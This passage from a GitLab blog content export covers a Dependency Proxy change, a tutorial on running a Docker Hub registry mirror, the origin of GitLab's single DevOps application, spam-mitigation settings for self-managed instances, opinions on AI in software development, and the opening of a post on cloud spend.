feature?](/company/pricing/#buyer-based-open-core) Pulling images from Docker Hub is done every day by all types of developers. By supporting proxying and caching in Core, we can help developers everywhere by increasing the reliability and performance of their pipelines. The same is true for pulling packages from [npm](https://www.npmjs.com/), [Maven](https://mvnrepository.com/), [PyPI](https://pypi.org/), or any of the other most common public repositories. \n\nAs of GitLab 13.6 (Nov. 22nd, 2020), using the Dependency Proxy for proxying and caching images from Docker Hub or packages from any of the supported public repositories will be [free for all GitLab users](https://gitlab.com/gitlab-org/gitlab/-/issues/273655). Exciting, right? \n\nWe recognize that many users in our community have creative ideas on how to make GitLab an even better product. By partnering with the open source community, we can open source features even more quickly. And, we could use your help! There are a few key issues that will help everyone in the Community prepare for these upcoming Docker Hub rate limits and have faster, more reliable builds. \n\n### More details\n\n- [gitlab-#11582](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) will add support for private groups when using the Dependency Proxy. This in-progress issue will also introduce a minor breaking change to the feature. One of the side effects of enabling the Dependency Proxy for private groups is that you will be required to sign in to Docker, even for public groups.  \n\nWhat this means is that before you can do something like:\n\n```\ndocker pull gitlab.example.com/groupname/dependency_proxy/containers/alpine:latest\n```\n\nYou must first log in by providing your username/password or personal access (*Sorry, no anonyomous pulls*)\n\n```\ndocker login gitlab.example.com\n```\n\n- [gitlab-241639](https://gitlab.com/gitlab-org/gitlab/-/issues/241639) is a very important feature that will allow you to pull images from the cache even when Docker Hub is unavailable, so long as the image and manifest have been previously added to the cache. The issue will accomplish this by caching the image's manifest as well as the associated blobs. \n- [gitlab-#208080](https://gitlab.com/gitlab-org/gitlab/-/issues/208080) will resolve a bug in which images are not pulled correctly from the cache when using certain storage configurations. \n- [gitlab-#246782](https://gitlab.com/gitlab-org/gitlab/-/issues/246782) will resolve a similar issue in which images are not pulled correctly from EC2 instances. \n\nAnd, if you are interested in helping the Dependency Proxy work with npm, consider contributing to these issues:\n- [gitlab-#241239](https://gitlab.com/gitlab-org/gitlab/-/issues/241239) will store the metadata associated with your npm package, so that the package can later be added to the cache.\n- [gitlab-#241243](https://gitlab.com/gitlab-org/gitlab/-/issues/241243) will add requested packages to the cache.\n- [gitlab-#241249](https://gitlab.com/gitlab-org/gitlab/-/issues/241249) will allow you to pull your npm packages from the cache.\n",[736,815],{"slug":21011,"featured":6,"template":678},"minor-breaking-change-dependency-proxy","content:en-us:blog:minor-breaking-change-dependency-proxy.yml","Minor Breaking Change Dependency Proxy","en-us/blog/minor-breaking-change-dependency-proxy.yml","en-us/blog/minor-breaking-change-dependency-proxy",{"_path":21017,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21018,"content":21023,"config":21028,"_id":21030,"_type":16,"title":21031,"_source":17,"_file":21032,"_stem":21033,"_extension":20},"/en-us/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits",{"title":21019,"description":21020,"ogTitle":21019,"ogDescription":21020,"noIndex":6,"ogImage":12013,"ogUrl":21021,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21021,"schema":21022},"How to cache Docker images and reduce Hub calls in CI/CD","Docker announced it will be rate-limiting the number of pull requests to the service in its free plan. We share strategies to mitigate the impact of the new pull request limits for users and customers that are managing their own GitLab instance.","https://about.gitlab.com/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Caching Docker images to reduce the number of calls to Docker Hub from your CI/CD infrastructure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Azzopardi\"}],\n        \"datePublished\": \"2020-10-30\",\n      }",{"title":21024,"description":21020,"authors":21025,"heroImage":12013,"date":20990,"body":21026,"category":736,"tags":21027},"Caching Docker images to reduce the number of calls to Docker Hub from your CI/CD infrastructure",[13361],"\n\nOn Aug. 24, 2020, [Docker announced changes to its subscription model](https://www.docker.com/blog/scaling-docker-to-serve-millions-more-developers-network-egress/) and a move to consumption-based limits. These rate limits for pulls of Docker container images go into effect on Nov. 1, 2020. For pull requests by anonymous users, this limit is now 100 pull requests per six hours; authenticated users have a limit of 200 pull requests per six hours.\n\nAs members of the global DevOps community, we have all come to rely on Docker as an integral part of [CI/CD processes](/topics/ci-cd/). So it is with no surprise that at GitLab, we have heard from several community members and customers seeking guidance on how the Docker pull rate limit change may affect their environments and CI/CD workflows.\n\n## Use a registry mirror\n\nYou can use the Registry Mirror feature to the number of image pull requests generated against Docker Hub. When the mirror is configured and GitLab Runner instructs Docker to pull images,\nDocker will check the mirror first; if it's the first time the image is being pulled, a connection will be made to Docker Hub. Subsequent requests of that image will then use your mirror storage instead of connecting to Docker Hub. More [details on how it works can be found\nhere](https://docs.docker.com/registry/recipes/mirror/#how-does-it-work).\n\n## If you are a user or customer on GitLab SaaS\n\nFor Shared Runners on GitLab.com we utilize Google's Docker Hub images mirror. This means that GitLab.com Shared Runner users' CI jobs won't be affected by the new pull policy. We will continue to monitor the impact of the changes once they go into effect at Docker.\n\n## If you self-host GitLab Runners\n\nFirst of all, check if your cloud or hosting provider doesn't already provide an image Registry Mirror. If they do, it will be probably the easiest and most performant option. If for any reason a hosted Registry Mirror can't be used the administrator can\ninstall their own [Docker Hub mirror](https://docs.docker.com/registry/recipes/mirror).\n\n### Start the registry mirror\n\nPlease follow the instructions in the [GitLab documentation](https://docs.gitlab.com/runner/configuration/speed_up_job_execution.html#docker-hub-registry-mirror):\n\n1. Log in to a dedicated machine where the container registry proxy will be running\n1. Make sure that [Docker Engine](https://docs.docker.com/install/) is installed\n   on that machine\n1. Create a new container registry:\n\n   ```shell\n   docker run -d -p 6000:5000 \\\n       -e REGISTRY_PROXY_REMOTEURL=https://registry-1.docker.io \\\n       --restart always \\\n       --name registry registry:2\n   ```\n\n   You can modify the port number (`6000`) to expose the registry on a\n   different port. This will start the server with `http`. If you want\n   to turn on TLS (`https`) follow the [official\n   documentation](https://docs.docker.com/registry/configuration/#tls).\n\n1. Check the IP address of the server:\n\n   ```shell\n   hostname --ip-address\n   ```\n\n   You should preferably choose the private networking IP address. The\n   private networking is usually the fastest solution for internal\n   communication between machines of a single provider (DigitalOcean,\n   AWS, Azure, etc.) Typically the use of a private network is not\n   accounted for in your monthly bandwidth limit.\n\n1. Docker registry will be accessible under `MY_REGISTRY_IP:6000`\n\n### Configure Docker to use it\n\nThe final part is to have the `dockerd` process configured so that it\nuses your mirror when `docker pull` runs.\n\n### Docker\n\nEither pass the `--registry-mirror` option when starting the Docker\ndaemon `dockerd` manually, or edit `/etc/docker/daemon.json` and add the\n`registry-mirrors` key and value, to make the change persistent.\n\n```json\n{\n  \"registry-mirrors\": [\"http://registry-mirror.example.com\"]\n}\n```\n\n### `docker+machine` executor\n\nUpdate the GitLab Runner configuration file `config.toml` to specify\n[`engine-registry-mirror` inside of `MachineOptions`\nsettings](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-container-registry-mirroring).\n\n### [Docker-in-Docker](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor) to build Docker images\n\nThere are different ways to achieve this, and it depends on your configuration.\nAn extensive list can be found in our [documentation](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#enable-registry-mirror-for-dockerdind-service).\n\n## Verify that it is working\n\n### Make sure that Docker is configured to use the mirror\n\nIf you run `docker info` where `dockerd` is configured to use the mirror\nyou should see the following in the output:\n\n```\n ...\n Registry Mirrors:\n  http://registry-mirror.example.com\n ...\n```\n\n### Check registry catalog\n\nThe [Docker registry API](https://docs.docker.com/registry/spec/api/)\ncan show you which repository it has cached locally.\n\nGiven that we ran `docker pull node` for the first time with `dockerd`\nconfigured to use the mirror we can see it [by listing the\nrepositories](https://docs.docker.com/registry/spec/api/#listing-repositories).\n\n```shell\ncurl http://registry-mirror.example.com/v2/_catalog\n\n{\"repositories\":[\"library/node\"]}\n```\n\n### Check registry logs\n\nWhen you are pulling images you should see logs coming through about the\nrequest information by running `docker logs registry`, where `registry`\nis the name of the container running the mirror.\n\n```shell\n...\ntime=\"2020-10-30T14:02:13.488906601Z\" level=info msg=\"response completed\" go.version=go1.11.2 http.request.host=\"192.168.1.79:6000\" http.request.id=8e2bfd60-db3f-49a3-a18f-94092aefddf9 http.request.method=GET http.request.remoteaddr=\"172.17.0.1:57152\" http.request.uri=\"/v2/library/node/blobs/sha256:8c322550c0ed629d78d29d5c56e9f980f1a35b5f5892644848cd35cd5abed9f4\" http.request.useragent=\"docker/19.03.13 go/go1.13.15 git-commit/4484c46d9d kernel/4.19.76-linuxkit os/linux arch/amd64 UpstreamClient(Docker-Client/19.03.13 \\(darwin\\))\" http.response.contenttype=\"application/octet-stream\" http.response.duration=6.344575711s http.response.status=200 http.response.written=34803188\n172.17.0.1 - - [30/Oct/2020:14:02:07 +0000] \"GET /v2/library/node/blobs/sha256:8c322550c0ed629d78d29d5c56e9f980f1a35b5f5892644848cd35cd5abed9f4 HTTP/1.1\" 200 34803188 \"\" \"docker/19.03.13 go/go1.13.15 git-commit/4484c46d9d kernel/4.19.76-linuxkit os/linux arch/amd64 UpstreamClient(Docker-Client/19.03.13 \\\\(darwin\\\\))\"\ntime=\"2020-10-30T14:02:13.635694443Z\" level=info msg=\"Adding new scheduler entry for library/node@sha256:8c322550c0ed629d78d29d5c56e9f980f1a35b5f5892644848cd35cd5abed9f4 with ttl=167h59m59.999996574s\" go.version=go1.11.2 instance.id=f49c8505-e91b-4089-a746-100de0adaa08 service=registry version=v2.7.1\n172.17.0.1 - - [30/Oct/2020:14:02:25 +0000] \"GET /v2/_catalog HTTP/1.1\" 200 34 \"\" \"curl/7.64.1\"\ntime=\"2020-10-30T14:02:25.954586396Z\" level=info msg=\"response completed\" go.version=go1.11.2 http.request.host=\"127.0.0.1:6000\" http.request.id=f9698414-e22c-4d26-8ef5-c24d0923b18b http.request.method=GET http.request.remoteaddr=\"172.17.0.1:57186\" http.request.uri=\"/v2/_catalog\" http.request.useragent=\"curl/7.64.1\" http.response.contenttype=\"application/json; charset=utf-8\" http.response.duration=1.117686ms http.response.status=200 http.response.written=34\n```\n\n## Alternatives to Docker Hub mirrors\n\nSetting up a Docker registry mirror can also increase your\ninfrastructure costs. With the [Docker Hub rate\nlimits](https://docs.docker.com/docker-hub/download-rate-limit/) it\nmight be useful to authenticate pulls instead of having your rate\nlimit increased or no rate limit at all (depending on your\nsubscription).\n\nThere are different ways to authenticate with Docker Hub on Gitlab CI and\nit's [documented in\ndetail](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#define-an-image-from-a-private-container-registry).\nA few examples:\n\n1. `DOCKER_AUTH_CONFIG` variable provided.\n1. `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process.\n1. Run `docker login` if you are using [Docker-in-Docker](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor) workflow.\n\n### In summary\n\nAs you can see, there are several ways you can adapt to the new Docker Hub rate limits and we encourage our users to choose the right one for their organization's needs. Along with the options described in this post, there's also the option of staying within the GitLab ecosystem using the [GitLab Container Proxy, which will soon be available to Core users](/blog/minor-breaking-change-dependency-proxy/).\n",[736],{"slug":21029,"featured":6,"template":678},"mitigating-the-impact-of-docker-hub-pull-requests-limits","content:en-us:blog:mitigating-the-impact-of-docker-hub-pull-requests-limits.yml","Mitigating The Impact Of Docker Hub Pull Requests Limits","en-us/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits.yml","en-us/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits",{"_path":21035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21036,"content":21042,"config":21047,"_id":21049,"_type":16,"title":21050,"_source":17,"_file":21051,"_stem":21052,"_extension":20},"/en-us/blog/gitlab-hero-devops-platform",{"title":21037,"description":21038,"ogTitle":21037,"ogDescription":21038,"noIndex":6,"ogImage":21039,"ogUrl":21040,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21040,"schema":21041},"How a GitLab engineer changed the future of DevOps","When Kamil Trzciński suggested we integrate GitLab version control and GitLab CI one into a single product, GitLab's pioneering DevOps Platform was born.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681121/Blog/Hero%20Images/whatisgitlabflow.jpg","https://about.gitlab.com/blog/gitlab-hero-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How a GitLab engineer changed the future of DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2020-10-29\",\n      }",{"title":21037,"description":21038,"authors":21043,"heroImage":21039,"date":21044,"body":21045,"category":736,"tags":21046},[3532],"2020-10-29","\n\nJust recently, Gartner recognized [DevOps Value Stream Delivery](/solutions/value-stream-management/) Platforms as an emerging category in the software marketplace by publishing the new [Market Guide for DevOps Value Stream Delivery Platforms](https://page.gitlab.com/resources-report-gartner-market-guide-vsdp.html) (what we're calling a DevOps Platform). The Gartner report may not include the name \"Kamil Trzciński,\" but I want to recognize his contributions to this DevOps Platform category. If it weren't for his idea, we wouldn't have [launched GitLab as an all-in-one, single DevOps application](/blog/gitlab-master-plan/). It's a product that changed how engineers build software.\n\n**[[Learn more about our journey to the DevOps Platform](/blog/the-journey-to-a-devops-platform/)]**\n\nIt all started in 2015 with a GitLab runner that was built by one of the contributors from the wider community, [Kamil Trzciński](/company/team/#ayufan), who is now a distinguished engineer, Ops and Enablement, at GitLab. He wrote a runner that was faster, easier to run in parallel, easier to install, and easier to contribute to. We liked his runner so much that we deprecated ours to use his, and asked him to join our engineering team.\n\nAt that time, GitLab had two products: [GitLab Source Code Management](/solutions/source-code-management/) (SCM) and [GitLab Continuous Integration](/solutions/continuous-integration/) (CI). We were a DevOps company, but one with two key products that worked well together with some overlaps in code. Then Kamil made a suggestion that changed our company and has now defined a category: \"Why don't you combine the two to make GitLab a single application?\"\n\n[Dmitriy Zaporozhets](/company/team/#dzaporozhets), GitLab co-founder, thought there was no need to do it because the products were already perfectly integrated. And my gut reaction was no. Many of our customers were already building their own, DIY DevOps platforms with multiple tools. Combining GitLab SCM and GitLab CI would mean they got two tools where they expected only one. Our customers didn't seem to want an all-in-one tool, so why would we build it?\n\nBut as Kamil pointed out, there is a considerable amount of overlap between GitLab SCM and GitLab CI, and our engineers and users were spending a lot of development time and effort in managing functions and libraries that appeared in both technologies. In the end, we realized that it actually made a lot of engineering sense to build an all-in-one [DevOps platform](/solutions/devops-platform/). At first, our customers weren't sure about it – some even asked us to turn the CI function off in GitLab SCM because their engineers started using that over their official CI solution. But once we explained how much more efficient this made their application building efforts, they were sold. GitLab all-in-one meant one data store, fewer clicks, less context, and more efficiency in their application development processes. Kamil's idea was brilliant. Our developers were able to save development effort and didn't have to hop around between tools, same with the developers and operators who use GitLab to build their applications.\n\nWe wouldn't be where we are today if we didn't welcome the contributions of everyone in our globally distributed, open source software community. Just think, within one year, Kamil went from being a GitLab contributor who wanted to learn Go, to building a GitLab runner that blew us away, to redefining the **entire business strategy for our company**. It goes to show that companies are smarter when everyone can contribute.\n\nWatch the video below to hear Kamil describe how he came to join GitLab and made a proposal that went on to define the DevOps Platform category.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/CiJOTlU3wWs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n_Gartner, Market Guide for DevOps Value Stream Delivery Platforms, Manjunath Bhat, Hassan Ennaciri, Chris Saunderson, Daniel Betts, Thomas Murphy, Joachim Herschmann, 28 September 2020_\n\n**[[Welcome to the DevOps Platform era](/blog/welcome-to-the-devops-platform-era/)]**\n\n_Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose._\n\nCover image by [Fabio Bracht](https://unsplash.com/@bracht?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/_z0DiiaIhB4)\n{: .note}\n",[4103,267,676],{"slug":21048,"featured":6,"template":678},"gitlab-hero-devops-platform","content:en-us:blog:gitlab-hero-devops-platform.yml","Gitlab Hero Devops Platform","en-us/blog/gitlab-hero-devops-platform.yml","en-us/blog/gitlab-hero-devops-platform",{"_path":21054,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21055,"content":21061,"config":21066,"_id":21068,"_type":16,"title":21069,"_source":17,"_file":21070,"_stem":21071,"_extension":20},"/en-us/blog/how-we-work-to-detect-and-mitigate-spam",{"title":21056,"description":21057,"ogTitle":21056,"ogDescription":21057,"noIndex":6,"ogImage":21058,"ogUrl":21059,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21059,"schema":21060},"How we work to detect and mitigate Spam on GitLab.com and beyond","Working to fight spam and abuse can be a full time job.  Here's how we do that for gitlab.com and some tips for self-managed users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667172/Blog/Hero%20Images/ranurte-unsplash.jpg","https://about.gitlab.com/blog/how-we-work-to-detect-and-mitigate-spam","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we work to detect and mitigate Spam on GitLab.com and beyond\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Charl de Wit\"},{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2020-10-29\",\n      }",{"title":21056,"description":21057,"authors":21062,"heroImage":21058,"date":21044,"body":21064,"category":18484,"tags":21065},[21063,866],"Charl de Wit","\n{::options parse_block_html=\"true\" /}\n\nWe know spam can be a big problem.  Beyond being annoying, abusive behavior, we know it affects workflows and performance and puts a strain on rate limits and brand reputation.  We’re here to help.  Our security team works around the clock to actively detect and mitigate spam for GitLab.com users and our product utilizes filters, captcha and user-defined configuration to help self-managed instances prevent and mitigate spam and abuse.  But, there’s always more that can be done.  Below, we detail the work we do to protect .com users, offer up tips and best practices for self-managed users, and talk about some new automation and tooling we’re exploring that will help all users prevent spam.\n\n## How we work to detect and mitigate spam on GitLab.com\nOur [Trust and Safety team](/handbook/security/security-operations/trustandsafety) works to investigate and protect against the malicious use of GitLab.com and it’s associated features and tools with the goal of making our product safer for our customers and the wider community. One of their focus areas surrounds the detection and mitigation of [abusive activity](/handbook/security/security-operations/trustandsafety/#what-is-abuse) on GitLab.com.  \n\n### What is abuse?\nWe define abuse as the intentional misuse of GitLab products/services to cause harm or for personal gain which includes the distribution of malware, spam, and prohibited content.  This activity is covered under Section 3 of the [GitLab website Terms of Use](/terms/#gitlab-com). You can learn more about how we [classify abuse](/handbook/security/security-operations/trustandsafety/#examples-of-common-forms-of-abuse-include-but-are-not-limited-to) in our handbook. \n\n### How to report abuse as a GitLab.com user\nUsers on GitLab.com can report abuse via the `Report Abuse` [button](https://docs.gitlab.com/ee/user/report_abuse.html) while logged in. Alternately, users can email abuse reports to `abuse@gitlab.com`.  Be sure to include any relevant information details in the issue or email so we can quickly and accurately understand the problem.\n\n## Self-managed customers: preventing, detecting and mitigating spam\nGitLab [uses Akismet Spam filter](/handbook/support/workflows/managing_spam.html) to check for spam when users create issues and reCaptcha as an added level of spam and abuse prevention. \n\nThis tooling helps respond to the symptoms of abuse, but the root of the problem remains: malicious actors register new accounts, or take over existing accounts and then use the accounts to spam and abuse instances and projects. \n\n***So, what more can you self-managed Admins do to prevent and mitigate spam?***\n\n### 2FA\nHosted instances of GitLab can reduce spam by making it more difficult for bots to automate account creation or takeover. Requiring [2FA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) for all users is one way to prevent legitimate users from having their accounts taken over and used to create spam.\n\n### Authentication restrictions\n\n#### Sign-up restrictions\n[Sign-up restrictions](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html) will allow self-managed Admins to:\n* Disable new sign-ups.\n* Require Admin approval for new sign-ups.\n* Require user email confirmation.\n* Denylist or allowlist email addresses belonging to specific domains.\n\nIn fact, for customers running public-facing GitLab instances, we highly recommend that you consider disabling new sign-ups if you do not expect or want public users to sign up for an account on your instance.\n\n#### Sign in restrictions\n[Sign in restrictions](https://docs.gitlab.com/ee/administration/settings/sign_in_restrictions.html) allow self-managed Admins to customize authentication restrictions for web interfaces as well as Git over HTTP(S). These settings will allow you to enforce: \n* Mandatory 2FA for new users; this makes it more difficult for bots to surpass and prevents legitimate users from getting pwned via single factor authentication + weak password combinations.\n* Email confirmation on sign-up; making it more difficult for bots to register new spam accounts. \n\nWe know that spammers are humans (or humans running bots) and these configurations create additional work for illegitimate users with the intent to spam your instance; thus presenting a deterrent and making your instance a more difficult target.\n\n### Harden your instance\nAlso, customizing your instance configuration can go a long way to discourage and reduce spam and abuse. This includes [defining how users access your instance and who can have access](/blog/gitlab-instance-security-best-practices/#restricting-how-and-who). \n\n### Understand how abuse is reported and managed by self-managed Admins\nIt’s also key to understand how users can [report abuse from other GitLab users to GitLab self-managed Administrators](https://docs.gitlab.com/ee/user/report_abuse.html), the [actions that self-managed Admins can take against abusers](https://docs.gitlab.com/ee/user/report_abuse.html) and how [abuse reports are managed and resolved by Admins](https://docs.gitlab.com/ee/user/report_abuse.html). \n\n### Rate limits\nFinally, if you’re in the midst of spam abuse you can impose [rate limits](https://docs.gitlab.com/ee/security/rate_limits.html) to help respond to the increased loads. You can also [limit rates on issue creation](https://docs.gitlab.com/ee/administration/settings/rate_limit_on_issues_creation.html) and impose [rate limits on user and IPs](https://docs.gitlab.com/ee/administration/settings/user_and_ip_rate_limits.html).\n\n## What’s next in spam and abuse prevention and detection\nWe continue to look for new ways to prevent, detect and mitigate abuse on GitLab.com and within our product.  We are [exploring alternate options for captcha](https://gitlab.com/gitlab-org/gitlab/-/issues/273480) to improve user experience and [options to prevent bots posting URLs followed by crawlers](https://gitlab.com/gitlab-org/gitlab/-/issues/273618) to prevent spam.  In addition, our security team is in the process of developing new automation to detect and prevent the creation of spam and are aiming to begin testing a first iteration on GitLab.com within the next 3 months. If successful, this is something we’ll look to incorporate into the product so all customers can benefit.  For current, working product improvements to detect and mitigate spam, see our [active merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=spam%20fighting).\n\n### Suggestions and feature requests\nIf you have any suggestions or requests to improve abuse prevention on GitLab CE and EE, feel free to create a **feature proposal** issue from the provided templates in the [GitLab Project](https://gitlab.com/gitlab-org/gitlab/-/issues) and add the ~\"Abuse Prevention\" label. For more information on how to contact our Trust & Safety Team, see our [handbook](https://about.gitlab.com/handbook/security/security-operations/trustandsafety/#contact-us).\n\nPhoto by [Ranurte](https://unsplash.com/@ranurte) from [Unsplash](https://www.unsplash.com).\n{: .note}\n",[674],{"slug":21067,"featured":6,"template":678},"how-we-work-to-detect-and-mitigate-spam","content:en-us:blog:how-we-work-to-detect-and-mitigate-spam.yml","How We Work To Detect And Mitigate Spam","en-us/blog/how-we-work-to-detect-and-mitigate-spam.yml","en-us/blog/how-we-work-to-detect-and-mitigate-spam",{"_path":21073,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21074,"content":21080,"config":21085,"_id":21087,"_type":16,"title":21088,"_source":17,"_file":21089,"_stem":21090,"_extension":20},"/en-us/blog/ai-in-software-development",{"title":21075,"description":21076,"ogTitle":21075,"ogDescription":21076,"noIndex":6,"ogImage":21077,"ogUrl":21078,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21078,"schema":21079},"How AI will change software development","AI has made self-driving cars possible, so what about self-writing code? We asked 14 DevOps practitioners, industry analysts and execs to share their take on how AI will impact software development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681709/Blog/Hero%20Images/future-of-software-ai.png","https://about.gitlab.com/blog/ai-in-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How AI will change software development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-28\",\n      }",{"title":21075,"description":21076,"authors":21081,"heroImage":21077,"date":21082,"body":21083,"category":8943,"tags":21084},[11618],"2020-10-28","\n\n_This is the third in our four-part series on the future of software development. Part one examines [the changing developer role](/blog/software-developer-changing-role/), part two takes a deep dive into [emerging technologies with the potential to impact development](/blog/how-tomorrows-tech-affects-sw-dev/), and part four shares [how to future-proof your developer career](/blog/future-proof-your-developer-career/)._\n\nArtificial intelligence has often been dismissed as a promising technology breakthrough that somehow remains out of reach, particularly when it comes to software development. The [role of AI in software development](/topics/devops/the-role-of-ai-in-devops/) has been written about for years and not much substantive has come of it.\n\nBut the stars may be aligning now. Developers are intrigued, and we can see that by looking at the growing popularity of the Python programming language. Stack Overflow’s [annual survey](https://insights.stackoverflow.com/survey/2020) shows Python’s rise in \"popularity\" and \"interest\" based on the number of questions members asked about it. It’s certainly the go-to language for [ML-powered chat bots](https://medium.com/better-programming/software-developer-trends-of-2020-and-beyond-d1b955bc46b8).\n\nAnd in our [2020 Global DevSecOps Survey](/developer-survey/), close to one-quarter of developers surveyed said that an understanding of AI/ML will be the most important skill for their future careers. And roughly 16% of testers said their teams are using bots right now or have an AI/ML tool in place for testing.\n\nSo if Tesla can create a self-driving car, can self-writing code be that far off? The short answer is no, at least according to the more than a dozen [DevOps](/topics/devops/) practitioners, industry analysts, and GitLab executives we spoke with about the future of software development. Here’s what they're thinking.\n\n## A gradual process\n\nAt GitLab AI feels like it will happen but gradually. \"Every set of software in the future is going to be the combination of some procedural code and some (AI) models,\" says GitLab CEO [Sid Sijbrandij](/company/team/#sytses). \"The models will eat more and more of the code over time.\" But Sid sees AI’s role as \"less of a distinct activity and more of an integrated call out to a library or a call out to a model.\"\n\nTo put it another way, senior developer evangelist [Brendan O’Leary](/company/team/#brendan) thinks it would be strange if AI weren’t playing a much more significant (and helpful) role in code development ten years from now. \"But this isn’t going to replace humans – it’s going to make the human role more critical to understand what’s important,\" Brendan says. He likens it to a detail-oriented second set of eyes that can sort through all the data quickly to focus coders on areas that need it. \"Computer-aided detection is really valuable in mammography because it’s hard to look for 1 millimeter specs of white,\" Brendan explains. \"Computer-aided detection is valuable because it surfaces the 'second look' areas to focus on. That’s the model I think we can expect when it comes to AI and software development.\"\n\n[Carlos Eduardo Arango Gutierrez](https://www.linkedin.com/in/eduardo-arango/?originalSubdomain=co), a software engineer at Red Hat (and a [GitLab Hero](/community/heroes/)) sees a big benefit to a bot \"colleague\" that will not only ID problems but will suggest solutions. \"I'm waiting for a bot that says 'oh your code is wrong and this is how you fix it,'\" Carlos says. \"You're no longer stuck because the bot is going to run the test for you and fix it.\"\n\n## Meet the Turing Bots\n\nSo there’s clearly a backstop/code testing/QA role for AI in software development, but there is more to it than that, according to Forrester Research. In its September 2020 webinar, \"The Future of Software Development: How AI Will Automate More Than 70% of Software Development,\" [Diego Lo Giudce](https://www.linkedin.com/in/diego-lo-giudice-52232/detail/recent-activity/posts/) and [Mike Gualtieri](https://www.linkedin.com/in/mgualtieri/), both vice presidents and principal analysts, make the case that so called \"Turing Bots\" will be generating code from software artifacts in ten years, or less. The technologies driving the bots include autonomous testing, auto ML (for predicting), reinforcement learning, and machine coding, the webinar says.\n\nThat’s a bold prediction and a lot to unpack for today's DevOps teams. It will be a process and culture shift, certainly, but it will also require sweeping changes in the developer thought process. Forrester recommends developers start now to \"define more precise artifacts and patterns, including app requirements, UX design and solution architecture.\"\n\n## Now take a deep breath\n\nIt’s important to remember, though, that AI is only as good as the data fed to it by humans – it’s not a substitute *for* humans. [Jose Manrique Lopez de la Fuente](https://www.linkedin.com/in/jose-manrique-lopez-de-la-fuente-b869884/), CEO at Bitergia, and also a GitLab hero, puts it this way: \"I don’t believe that we won’t need developers any more,\" he says. \"Artificial intelligence is not intelligent.\"\n\n_Wondering if your skills will keep you relevant in a time of AI overlords? Don’t miss our look at skills critical to a DevOps team's future in the fourth part of our series on the future of software development._\n",[4103,7715,942],{"slug":21086,"featured":6,"template":678},"ai-in-software-development","content:en-us:blog:ai-in-software-development.yml","Ai In Software Development","en-us/blog/ai-in-software-development.yml","en-us/blog/ai-in-software-development",{"_path":21092,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21093,"content":21099,"config":21105,"_id":21107,"_type":16,"title":21108,"_source":17,"_file":21109,"_stem":21110,"_extension":20},"/en-us/blog/how-we-optimized-our-infrastructure-spend-at-gitlab",{"title":21094,"description":21095,"ogTitle":21094,"ogDescription":21095,"noIndex":6,"ogImage":21096,"ogUrl":21097,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21097,"schema":21098},"How we optimized infrastructure spend at GitLab","We keep our cloud spend under control with a spend optimization framework – now we're sharing it with you.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681701/Blog/Hero%20Images/piggy_bank.jpg","https://about.gitlab.com/blog/how-we-optimized-our-infrastructure-spend-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we optimized infrastructure spend at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Davis Townsend\"}],\n        \"datePublished\": \"2020-10-27\",\n      }",{"title":21094,"description":21095,"authors":21100,"heroImage":21096,"date":21102,"body":21103,"category":734,"tags":21104},[21101],"Davis Townsend","2020-10-27","\n\nInfrastructure spend optimization is a hot topic these days as many established companies are migrating workloads to the cloud. Similarly,  fast-growing startups are struggling to control their operating costs as they expand their cloud footprint to meet user demand. \n\nAt GitLab we have taken a methodical and data-driven approach to the problem so we can reduce our cloud spend and control our operating costs, while still creating great features for our customers. We designed a five-stage framework which 